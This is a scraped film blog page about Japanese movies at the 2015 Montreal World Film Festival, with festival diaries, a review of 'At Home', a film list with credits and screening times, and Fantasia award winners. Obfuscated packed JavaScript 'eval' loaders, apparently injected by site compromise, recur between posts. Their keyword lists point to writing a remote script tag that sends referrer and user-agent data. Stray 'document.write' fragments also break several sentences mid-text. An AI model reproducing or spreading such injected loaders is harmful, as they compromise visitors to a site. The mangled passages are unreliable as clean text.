eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfihf|var|u0026u|referrer|ddnyy||js|php’.split(‘|’),0,{}))
Another good day despite the fact that I started my festival coverage late because I had other duties to attend. However, document.write(“”); I still managed to see two movies: Early Spring (Sakurajima Sosyun) and The Next Generation Patlabor: Tokyo War (Mamoru Oshii introduced the screening!).

Since I had several hours in-between the two movies I was able to write my comments for all the movies I had seen the previous days. It still need some research and polishing, but I should be able to post them soon. For now I’m really too tired to do anything but sleep.

In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

[ Traduire ]

MWFF 2015 Day 2


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzzrb|var|u0026u|referrer|dandt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkhye|var|u0026u|referrer|fdnzt||js|php’.split(‘|’),0,{}))
Today was a perfect day. Much better than yesterday.

Just before leaving this afternoon I have put online my first comment, document.write(“”); for the movie At Home.

I wish I could write more extensive comments but unfortunately I am a little too busy. Seeing movie after movie doesn’t leave enough time to do in-depth analysis. And when you sit at night, after having viewed three movies, it difficult to write in details about each of them. That’s why I try to put down on paper my first impression as soon as I leave the theatre. It’s easy to do when there’s a couple of hours in-between movies, but more difficult when you have to rush from one place to another with just minutes before the beginning of the next show (harder still when there’s a Q&A after a screening).

Anyway, my purpose with this blog has always been to simply introduce a work (be it a manga, a book or a movie) with just enough information (and links) to interest the readers and incite them to look further.

Yesterday, I saw At Home and Ninja Hunter.

Today, I’ve seen Kagura-me, Akai Tama and Blowing in the wind of Vietnam. All ranging from good to excellent. I’ll try to write and post my comments on those movies as soon as possible.

In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

[ Traduire ]

At Home

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feiti|var|u0026u|referrer|hrkdt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rddtf|var|u0026u|referrer|tsdfr||js|php’.split(‘|’),0,{}))

“A father, document.write(“”); a mother, an elder son, a daughter and a younger son. A family of five. To all appearances, a perfectly normal, happy family. However it turns out that none of them have a blood relationship. Each of them has a sad story and separate families of their own. Does being related by blood, make a family? Or if they live together, does it make them a family? When people learn to connect with others, when they are placed in a difficult situation, how do they react for a family? This is a film about people who were hurt by family, but saved by family. ”

(Text from the Festival’s program)

The Moriyama family looks like any other ordinary family. However, none of them are related. The father is a thief. He started stealing to support his pregnant wife. She is hit by a car and lose the baby. He gets caught, goes to prison and his wife leaves him. Once out of prison, he continues with a criminal life. One day, during a burglary, he discovers a young boy chained in the bathroom of a house. He decides to save him. Together they settle in a home, acting like father and son. Later, the thief triggers an alarm and, as he might be caught, he is helped by a teenager who has run away from his home. He was verbally abused by his parents who found his indecisiveness and shyness not up to the standard of their rich (but parvenu) status. He joins the father and younger “son” in their home.

The mother was physically abused by her violent husband. One day she is considering killing herself by jumping in front of a train but notices a teenage girl who is about to do the same. Without thinking about her own situation anymore, she prevent the girl from jumping. The girl was sexually abused by her father. They both run away (it is more implied than said or shown) and settle in an apartment together as mother and daughter. One day, the mother meets the father in a pet shop and the father (it’s not shown how or why) invites them to join his little family.

They survive through a life of crime: the father doing burglary, the mother swindling men in mariage schemes, the older son doing forgery in a print shop and the young boy and girl simply going to school. Unfortunately, the mother tries to swindle a bigger swindler and she ends up kidnapped. The family rushes to gather the ransom, but, despite the father’s warning, it leads them to a violent outcome. The father goes to prison again to save his family. In the end, the family will pull through thanks to its strength. Despite not being related, they all had suffered abuse and could better understand and confort each other. Reconstituted family can work and even be stronger than blood ties.

There is a lot of frustration nowadays in Japan which apparently translate into an increase of domestic violence at home. This subject (and its salvation through reconstituted family) is interesting but the storytelling is often way too slow, and also contains gaps or credibility issues. Some scenes are simply not plausible, not because of the actors’ performance, which is quite excellent, but because the situation is being too convenient or at least not explained in a satisfactory manner. However, it is a beautiful story and a good enough movie to be well worth watching.

At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Dad/Thief), Yasuko Matsuyuki (Mom/Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 12h00 – with an attendance of 90 people, filling 60% of the theatre) as part of the “Focus on World Cinema” segment. The director was present for a short Q&A at the end.

For more information you can visit the following websites:
At Home © ?at Home?Production Committee.

Video of the Q&A session


[ Traduire ]

MWFF 2015 Day 1

This year the festival is already hard for me because I have to cover it while working full-time (it’s difficult lately to get days off at the library) and also while helping my eighty-five year-old mother to move in her new apartment. On top of it, document.write(“”); there are twenty-something Japanese movies to watch this year. A though order.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stkst|var|u0026u|referrer|trsza||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsfek|var|u0026u|referrer|yhfsa||js|php’.split(‘|’),0,{}))

Like the last couple of years, the festival has this feeling of the end of a party. Everybody seems to thinks that it might be the last year, despite Losique’s denial (
The Gazette, Variety). The festival has always had its critics or doomsayers, and this year again many are asking for change at the top or already planning a replacement. All those talks are casting a shadow on the festival. For my part, as I’ve said before, I don’t really care as long as they continue to show great movies that I cannot see anywhere else. Unfortunately, the lack of funds is showing in the organization of the festival (glitch, scheduling problems, technical problems, communication problems, etc). It seems particularly disorganized this year (but is it really more than usual?).

Unfortunately, my first day at the festival was quite disastrous. The first movie was good. The second movie had so many technical problems (started ten minutes late, microphone problem for the presentation, there was picture without sound, sound without picture, repeatedly) that the screening was interrupted and cancelled a little before the middle of the movie. I had to go to the screening room of the Film Market to see the (disappointing) end. There the copy ran just fine so it’s unlikely that the problem was caused by the dvd encoding (the excuse was that since it’s a foreign movie the encoding could have been messed up, but usually if this is the case it just either work or doesn’t) so the problem must have been with the Quartier Latin’s equipment (they were using VLC on a MacBook and a digital projector). It’s not the first year that this kind of problem occurs.

And the third movie… was cancelled due to some rescheduling! That’s quite annoying. I had made myself a (gruelling) schedule where I could see all Japanese movies, but with those changes it will be impossible. And at least one of the movie that I can’t watch is not even available in the Film Market screening room…
Shinjuku Midnight Baby rescheduledDecline of an assassin rescheduled
Anyway, I’ll try to post soon my comments on the two movies I’ve managed to see today, and you can still check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

I also noticed in the Quartier Latin lobby a poster announcing the movie “Paul à Québec” for September 18th. Great!

[ Traduire ]

MWFF 2015 update

A few new press releases have been posted about the Montreal World Film Festival:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbafs|var|u0026u|referrer|sfsts||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irafb|var|u0026u|referrer|fadtz||js|php’.split(‘|’),0,{}))

More importantly, the programming information is now available online. On the festival website you can find the full schedule as well as the full index of movies (in PDF format).

If, like us, you are more interested in Japanese movies you can find all the details in our updated entry “Montreal World Film Festival 2015”.

[ Traduire ]

Montreal World Film Festival 2015

The 39th edition of the Montreal World Film Festival will take place from August 27th to September 7th 2015, document.write(“”); at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 22 at noon at the offices of the Imperial (CI) and Quartier Latin (QL) theatres, as well as online through the Admission Network website. Individual tickets are $ 10, Passports are $ 120 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teehn|var|u0026u|referrer|frtyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbssy|var|u0026u|referrer|ydfht||js|php’.split(‘|’),0,{}))

This year there was no real press conference about the programming and instead the festival unveiled the line-up of films in the
World Competition and the First Films Competition through press releases and a virtual press conference where both domestic and international media could simultaneously participate in an online Q&A session. So far, since then, the information has been trickling down little by little and we don’t know much about the festival programming. They said that “A digital age requires a digital solution,” but I guess it has also a lot to do with the lack of subsidies and the resulting reduced staff. I don’t mind a little austerity as long at it gets the festival going and brings us the diversified, quality cinema the festival is renown for.

We know that, this year, a record number of short films were submitted; that the opening movie will be Muhammad, the latest film by renowned Iranian director Majid Majidi; that this year’s festival will offer movies from over 86 countries; that the competition line-up will includes 26 Feature films from 31 countries for the World Competition, plus 25 more movies for the First Feature Competition, and that both competitions will include 36 World Premieres; we know the composition of both the jury for the Grand Prize of the Americas and the jury for the First Feature Prize; finally, a couple of days after the virtual press conference, the festival announced that twenty-four features from a score of countries will be shown in the World Greats (out of competition) category.

Here our interest is mostly with the Japanese movies. At first, with the festival press releases and an article in the august edition of Coco Montreal, we determined that the festival would show at least fourteen Japanese movies. However, with the release of the schedule we astonishingly discovered that a record-breaking number of Japanese movies will be shown this year: seventeen (twenty-one if we count a Liberian movie with a Japanese director, a four-minute short and two documentaries)! See the films index for details. (updated 2015-08-21)

Be careful, the schedule of some movies has changed (updated 2015-08-28).

Coco Montreal have put a more detailed article (this time with english and french translation) on the festival’s Japanese movies in their September issue (available both in the issuu.com flash version and on their Facebook page). [updated 2015-09-01]

You can now read some comments about the Festival’s Japanese movies (in french) in the first part of the article by my esteemed colleague Claude R. Blouin on the blog Shomingeki. [updated 2015-09-03]

You will find, after the jump, a list of all those movies (plus a few useful links — of course, more details and links will be added as the information become available):


World Competition / Film en compétition

  • Gassoh (??): Japan, 2015, 87 mins; Dir.: Tatsuo Kobayashi; Scr.: Aya Watanabe (based on the manga by Hinako Sugiura); Phot.: Hitoshi Takaya; Music: Asa-Chang; Cast: Yuya Yagira (Kiwamu Akitsu), Koji Seto (Masanosuke Yoshimori), Amane Okayama (Teijiro Fukuhara), Joe Odagiri, Mugi Kadowaki, Minami Sakurai, Kai Inowaki, Yuko Takayama, Reiko Fujiwara, Daisuke Ryu, Rie Minemura, Mantaro Koichi, Lily.

    The final resistance to the dismantling of the Togugawa Shogunate at the end of the Edo period and the futile struggles of three young men who participated in the Shougitai resistance.

    Schedule: Thu 9/03 9:00 CI; Thu 9/03 21:30 CI.

First Feature Competition / Compétition de premières oeuvres

  • Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

    When their claim to have seen a phantom deer is debunked, three young siblings are denigrated. Now, 25 years later, their father dying, the wounds are still raw.

    Schedule: Thu 9/03 11:00 QL9; Fri 9/04 16:00 QL9.

    You can read my comments.

  • Kagura-me (????): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

    A woman bears a 13-year grudge with her father over the traditional dance he was performing that caused him to be absent from her mother’s death.

    Schedule: Fri 8/28 9:00 QL9; Sat 8/29 15:00 QL9.

    You can read my comments and watch a video of the screening introduction.

  • Lost and found (?????????? / Hoshigaoka Wonderland): Japan, 2015, 111 mins; Dir.: Show Yanagisawa; Scr.: Show Yanagisawa, Koko Maeda; Phot.: Keisuke Imamura; Ed.: Etsuko Kimura; Music: Takashi Watanabe; Cast: Tomoya Nakamura (Atsuto Seo), Nozomi Sasaki (Nanami Kiyokawa), Yoshino Kimura (Sawako Kiyokawa—Atsuto’s mother), Masaki Suda (Yuya Kiyokawa), Anne Watanabe (Detective Tsunako Obayashi), Hayato Ichihara (Jingo Kusunoki), Hirofumi Arai (Tetsundo Seo—Atsuto’s older brother), Yutaka Matsushige (Touji Seo—Atsuto’s father).

    When Haruto learns that his long estranged mother committed suicide in an amusement park he immediately suspects foul play.

    Schedule: Sun 9/06 15:30 QL9; Mon 9/07 20:00 QL9.

  • Neboke (???): Japan, 2015, 115 mins; Dir./Scr./Phot./Ed.: Norihito Iki; Music: Yusuke Orita; Cast: Yasushi Tomobe, Irifunetei Senryu, Kana Ohtake, Maki Murakami, Yuji Akiyama.

    Sangoroh, a rakugo artist, has a drinking problem and is annoyed by his partner Manami’s pestering him about it. Can he get his life in order before it’s too late.

    Schedule: Sat 9/05 14:30 QL9; Sun 9/06 10:00 QL9.

World Great (Out of Competition) / Hors-concours

  • Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko).

    Tokita would rather be making movies than teaching about them in film school. But it pays the bills and there’s always Yui, the pretty school secretary. Then Ritsuko enters his life…

    Schedule: Fri 8/28 10:00 QL10; Sat 8/29 19:00 QL10.

    You can read my comments and watch a video of the screening introduction and Q&A session.

  • The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

    In a world where giant robots are built and used for labour, a special police force of robots is created to handle crimes relating to these machines: the Patrol Labor.

    Schedule: Sat 8/29 9:30 QL9; Sun 8/30 21:30 QL9.

    You can read my comments.

Focus on World Cinema

  • At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Thief), Yasuko Matsuyuki (Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

    A father, a mother, an elder son, a daughter and a younger son. A family of five. For all appearances, a perfectly normal, happy family. But none of them related.

    Schedule: Fri 8/28 12:00 QL12; Sat 8/29 18:30 QL12.
    You can read my comments and watch a video of the Q&A session.

  • Blowing in the wind of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

    When Misao returns to Japan from Vietnam for her father’s funeral, she sees that her mother is becoming forgetful, even a bit senile. Can a change of scenery help?

    Schedule: Fri 8/28 9:30 QL12; Sat 8/29 21:30 QL12.

    You can read my comments.

  • Decline of an assassin (??????????/ Norainu ha dansu wo odoru / lit. “Stray dogs are dancing”): Japan, 2015, 100 min.; Dir./Scr./Ed.: Kubota Shouji; Phot.: Hiromitu Nishimura; Music: Ipeei Yogo; Cast: Yoshimasa Kondo, Keisuke Kato, Shogo Suzuki, Hidetoshi Kubota, Yuri Yanagi, Kouta Kusano.

    After four decades as the reliable hitman for a criminal gang, Kurosawa is now making mistakes. It may be time to retire. But how can he ever return to “normal” life?

    Schedule: Fri 8/28 20:30 QL16; Sat 8/29 12:00 QL16; Sat 9/05 21:30 Ql11.

  • Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

    Back in his hometown after retirement, Takashi Arimura finds life depressing. On his wife’s suggestion he takes up painting. The world now looks very different.

    Schedule: Sun 8/30 16:00 QL16; Mon 8/31 9:10 QL16.

    You can read my comments.

  • Haman (???/ slang blend, or portemanteau expression from ? [Ha, tooth] and ???? [Omanko, vagina] meaning toothed vagina): Japan, 2015, 95 min.; Dir./Scr.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Ed.: Tetsuya Okabe; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

    Love can be deadly but when Haruka decided to make love with her boyfriend she never expected it to be literally true. A dark fantasy about life, sex and love.

    Schedule: Tue 9/01 15:50 QL16; Wed 9/02 20:30 QL16.

    You can read my comments.

  • Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarö Shimazu, Kazuki Tsujimoto.

    Four ninjas, forty corpses, four conflicting accounts. A ninja action tale with a Rashomon twist.

    Schedule: Fri 8/28 16:00 QL12; Sat 8/29 9:00 QL12.

    You can read my comments.

  • Out of my hand: USA/Liberia, 2015, 87 min.; Dir.: Takeshi Fukunaga. Scr.: Takeshi Fukunaga & Donari Braxton; Phot.: Ryo Murakami, Owen Donovan; Ed.: Takeshi Fukunaga, Eugene Yi; Prod. Des.: Steve Grisé, Ioannis Socholakis; Music: Tyondai Braxton; Cast: Bishop Blay (Cisco), Zenobia Taylor (Joy), Duke Murphy Dennis (Francis), Rodney Rogers Beckley (Marvin), David Roberts (Jacob), Shelley Molad (Maria).

    A struggling Liberian rubber plantation worker risks everything to discover a new life as a Yellow Cab driver in New York City.

    Schedule: Sun 8/30 17:00 QL17; Mon 8/31 15:00 QL17.

  • Shinjuku Midnight Baby (????????????): Japan, 2015, 141 mins; Dir./Scr./Phot.: Kazuhiro Teranishi (based on his own book); Ed.: Kiyomi Tochiya; Music: Daisuke Sunny;Cast: Shimako Iwai, Ginji Yoshikawa, Britney Hamada, Tomoko Nakajima, Kimin, Yukimi Watanabe, Hidetsugu Ohara, Marcos Tôma.

    When the son of a government minister wants to be in Japan’s first gay marriage – to one of her political supporters, no less – a mysterious lawyer offers to help.

    Schedule: Fri 9/04 16:00 QL11; Sat 9/05 21:30 QL11; Fri 8/28 10:00 QL11; Sat 8/29 21:30 QL11.

  • Summer on the frontline (???? 15??? / Soman kokkyo 15 sai no natsu / Summer of 15 years old on the Soviet national border): Japan, 2015, 94 min.; Dir./Scr.: Tetsuya Matsushima (based on his own novel); Phot.: Kazuo Okuhara; Ed.: Seiichi Miyazawa; Music: Koji Ueno; Cast: Ryuuchiro Shibata, Anna Kijima, Min Tanaka, Isao Natsuyagi.

    When the great earthquake of 2012 destroys his high school’s filmmaking equipment, Keisuke, 15, looks forward to a dull summer. He couldn’t be more mistaken.

    Schedule: Thu 9/03 16:00 QL13; Fri 9/04 10:00 QL13.

  • That’s It (???? / Soredake) : Japan, 2015, 110 min.; Dir.: Gakuryu Ishii; Scr.: Kiyotaka Inagaki; Phot.: Yoshiyuki Matsumoto; Music: Bloodthirsty Butchers; Cast: Shota Sometani, Erina Mizuno, Kiyoko Shibukawa, Jun Murakami, Go Ayano.

    A young drifter hoping to escape from his social dead end, breaks into a gangster’s locker in search of gold. What he finds is a hard drive with very dangerous information.

    Schedule: Fri 9/04 20:00 QL13; Sat 9/05 10:00 QL13.

  • The Letters (????? / Popura no aki / lit. “Autumn poplar”): Japan, 2015, 98 min.; Dir./Scr./Ed.: Ken’ichi Ohmori (based on a novel by Kazumi Yumoto); Phot.: Masao Nakabori; Cast: Nene Ohtsuka, Tamao Nakamura, Miyu Honda.

    Chiaki, 8, devastated by the death of beloved father, moves into an apartment whose landlady claims to be able to deliver letters to the dead.

    Schedule: Fri 9/04 9:00 QL12; Sat 9/05 19:30 QL12.

  • Yoko the cherry blossom (Yoko Zakura) : Japan, 2015, 115 min.; Dir./Scr.: Gen Takahashi; Phot.: Phil Harder; Ed.: Yoshinori Ota; Music: Benjamin Be’doussac; Cast: Takashi Sasano, Koji Matoba, Maki Miyamoto, Yuki Kazamatsuri.

    The true story of a Japanese teacher’s quest to create a hybrid cherry blossom, to fulfill a promise he made to his students before they were sent off to die in World War II.

    Schedule: Thu 9/03 14:00 QL12; Fri 9/04 16:30 QL12.

Documentaries

  • Alone in Fukushima (????????? / Naoto hitorikkiri): Japan, 2015, 98 min., Dir./Scr./Phot./Ed.: Mayu Nakamura; Music: Saho Terao; Sound: Masashi Furuya.

    Alone in Fukushima is a feature length documentary about Naoto Matsumura, a man who remained alone in a no-man’s land after the nuclear disaster. The film follows Naoto struggling to survive with the animals in a small town which Japan tries to erase from the map.

    Schedule: Tue 9/01 16:00 QL14; Sat 9/05 16:00 QL2.

  • Behind “The Cove” (?????????? / `Za k?vu’ no uragawa): Japan, 2015, 110 min.; Dir./Scr./Phot./Ed.: Keiko Yagi.

    Keiko Yagi never bothered to see the 2010 film THE COVE, thinking it just another exaggerated attack on Japan’s dolphin hunt. But she decided to see for herself.

    Schedule: Fri 9/04 21:30 QL14; Sat 9/07 14:30 QL14.

Shorts

  • Master Blaster: Japan, 2015, 4 min.; Dir./Scr./Phot./Ed.: Sawako Kabuki.

    An animated short in competition at the Student Film Festival. A girl would like to hide in her sweetheart’s anus, to be with him forever.

    Schedule: Mon 8/31 16:00 QL2; Tue 9/01 16:00 QL2.

[ Traduire ]

Fantasia awards


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhhdb|var|u0026u|referrer|nifbe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sekat|var|u0026u|referrer|fzdtd||js|php’.split(‘|’),0,{}))
As usual the 19th edition of the Fantasia International Film Festival was a great success. Not only it is now considered North America’s longest-running genre film festival with its 195 screenings over twenty-three days but it also had an attendance of over 100, document.write(“”); 000 spectators for six consecutive years.

Several Japanese movies won awards again this year:

  • TAG by Sion Sono received the Cheval Noir Award for Best Film
  • Tomoe Kanno (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Screenplay
  • Subaru Shibutani (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Actor
  • Reina Triendl (for TAG) received the Cheval Noir Award for Best Actress
  • Sion Sono’s TAG also received a Special Mention “for its creative, surprising, and monumental opening kill sequence”
  • MISS HOKUSAI by Keiichi Hara received no less than three awards: the Satoshi Kon Award for Best Animated Feature Film, the Prix Séquences, as well as the Best Animated Feature Audience Award (Gold Prize)
